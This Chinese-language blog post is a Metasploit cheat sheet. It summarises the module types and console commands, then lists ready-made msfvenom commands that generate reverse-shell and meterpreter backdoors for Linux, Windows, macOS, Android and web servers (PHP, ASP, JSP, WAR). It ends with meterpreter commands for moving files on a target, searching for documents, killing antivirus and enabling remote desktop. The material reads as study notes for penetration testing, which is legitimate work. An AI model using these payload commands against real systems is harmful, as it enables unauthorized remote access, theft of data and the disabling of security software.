Metasploit简单使用

发布于 2021-09-15  98 次阅读


Metasploit框架介绍

modules目录

  • auxiliary:辅助模块,辅助渗透(端口扫描、密码爆破登录、漏洞验证)
  • exploits漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能可能存在漏洞的目标进行漏洞利用
  • payloads:攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码
  • post: 后渗透阶段模块,漏洞利用成功获取meterpreter之后,像目标发送一些功能性指令,如:提权等
  • encoders:编码器模块,主要包含各种编码工具,对payload进行编码加密,一边绕过入侵检测和过滤系统
  • evasion: 躲避模块,用于生成面纱payload
  • nops: 由于IDS/IPS会检查数据包中不规则的数据,在某些情况下,比如针对溢出攻击,默写特殊滑行字符串

MSF基础设置

  • 如果是第一次启动MSF,首先应该使用msfdb init初始化MSF数据库
  • msfconsole这里要注意MSF每次启动的动画都是不一样的,不必担心。
image-20210817100754753
  • db_status,查看数据库连接状态
image-20210817101011004
  • wirkspace,查看工作区
image-20210817101241772

MSF常用命令

  • show exploits ,查看所有可用的渗透工具程序代码
  • show auxiliary ,查看所有可用的辅助攻击工具
  • show options ,查看所有可用的辅助攻击工具
  • show payloads ,查看该模块使用的所有载荷代码
  • show targets,查看该模块使用的攻击目标类型
  • search,根据关键字搜索某模块
  • info,显示某模块详细信息
  • use,使用某渗透攻击模块
  • back,回退
  • set/unset,设置、禁用使用于所有模块的全局参数
  • setg/unsetg,设置、禁用适用于所有模块的全局参数
  • save,将当前设置值保存下来,以便下次启动MSF终端时仍可使用

msfvenom

介绍

  • msfvenommsfpayloadmsfencode的组合。
  • msfvenom是用来生成后门的软件,在目标及上执行后门,在本地监听上线

参数

  • -p 指定特定的payload,如果被设置为-,那么从标准输入流中读取。几乎支持全平台
  • -l 显示可用的payload
  • -f 指定payload输出格式
  • -a 指定目标架构
  • -s 设置payload 的最大长度
  • -i 设置编码次数
  • -o 将payload输出到指定文件
  • -x 指定一个特定的可执行模板文件作为模板
  • -k 保护模板程序的功能,注入的payload作为一个新的进程运行

常见payload


Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< 监听ip> LPORT=< 监听端口> -f elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f exe > shell.exe
PS
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f psh-reflection >xxx.ps1

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f macho > shell.machoWeb Payloads

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f war > shell.war
Scripting Payloads

Python
msfvenom -p cmd/unix/reverse_python LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.pl
APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=<监听ip> LPORT=<监听端口> R > /1.apk

meterpreter

  • 对目标机器上传文件 upload [需要上传的文件路径] [上传到目标机器的路径]
  • 从目标机器下载文件 download [目标机器中要下载的文件] [下载之后保存的路径]
  • 将当前会话挂入后台 background
  • 关闭会话 exit
  • 帮助信息 sysinfo
  • 屏幕截取 screenshot
  • 启动命令行交互 shell
  • 查看本地目录 getlwd
  • 切换本地目录 lcd
  • 查看目录 getwd
  • 查看文件目录列表 ls
  • 切换目录 cd
  • 删除文件 rm
  • 搜索文件 search -d c: -f *.doc
  • 查看进程 ps
  • 查看当前用户权限 getuid
  • 关闭杀毒软件 run killav
  • 启用远程桌面 run getgui-e
  • 端口转发 portfwd add -l 1234 -p 3389 -r <目标IP>

图形化

https://www.bilibili.com/read/cv9998676/